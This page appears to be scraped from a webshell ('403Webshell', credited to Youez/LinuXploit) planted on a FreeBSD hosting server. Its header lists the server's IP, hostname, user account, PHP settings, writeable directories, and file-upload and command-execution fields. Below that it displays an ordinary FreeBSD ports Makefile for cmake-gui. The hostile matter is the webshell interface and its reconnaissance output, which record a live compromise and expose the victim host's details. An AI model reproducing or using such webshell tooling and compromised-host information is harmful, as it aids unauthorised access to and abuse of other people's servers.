403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.238
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/devel/cmake-gui/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/devel/cmake-gui/Makefile
PORTNAME=	cmake
DISTVERSION=	3.24.0
CATEGORIES=	devel
MASTER_SITES=	https://www.cmake.org/files/v${PORTVERSION:R}/
PKGNAMESUFFIX=	-gui-${FLAVOR}

MAINTAINER=	kde@FreeBSD.org
COMMENT=	Qt-based GUI for CMake
WWW=		https://www.cmake.org

LICENSE=	BSD3CLAUSE
LICENSE_FILE=	${WRKSRC}/Copyright.txt

BUILD_DEPENDS=	sphinx-build:textproc/py-sphinx
LIB_DEPENDS=	libcurl.so:ftp/curl \
		libexpat.so:textproc/expat2 \
		libjsoncpp.so:devel/jsoncpp \
		libuv.so:devel/libuv \
		librhash.so:security/rhash

FLAVORS=	qt5 qt6
FLAVOR?=	qt5

qt5_CONFLICTS_INSTALL=	cmake-gui-qt6
qt6_CONFLICTS_INSTALL=	cmake-gui-qt5

USES=		cmake:run,insource compiler:c++11-lang desktop-file-utils libarchive \
		shared-mime-info qt:${FLAVOR:S/qt//}
_USE_QT5=	core gui widgets buildtools:build qmake:build
_USE_QT6=	base
USE_QT=		${_USE_QT${FLAVOR:S/qt//}}
CMAKE_ARGS=	-DCMAKE_DATA_DIR:STRING="/${DATADIR_REL}" \
		-DCMAKE_DOC_DIR:STRING="/${DOCSDIR_REL}" \
		-DCMake_QT_MAJOR_VERSION=${FLAVOR:S/qt//}
CMAKE_ON=	BUILD_QtDialog \
		CMAKE_USE_SYSTEM_LIBRARIES \
		SPHINX_MAN
CMAKE_OFF=	BUILD_CursesDialog \
		CMake_SPHINX_DEPEND_ON_EXECUTABLES

ALL_TARGET=	cmake-gui documentation

CXXFLAGS+=	-D__BSD_VISIBLE

INSTALL_WRKSRC=	${WRKSRC}/Source/QtDialog

DISTINFO_FILE=	${.CURDIR}/../cmake-core/distinfo

post-patch:
	@(${FIND} ${WRKSRC}/Modules -name "*.cmake" -print0; \
		${FIND} ${WRKSRC}/Tests -name "CMakeLists.txt" -print0 ) | \
		${XARGS} -0 -n 100 ${REINPLACE_CMD} -e 's,/usr/local,${LOCALBASE},g; \
			s,/usr/X11R6,${LOCALBASE},g'

pre-install:
	${LN} -sf ${CMAKE_BIN} ${WRKSRC}/bin

post-install:
	${INSTALL_MAN} ${WRKSRC}/Utilities/Sphinx/man/cmake-gui.1 \
		${STAGEDIR}${PREFIX}/man/man1

.include <bsd.port.mk>

Youez - 2016 - github.com/yon3zu
LinuXploit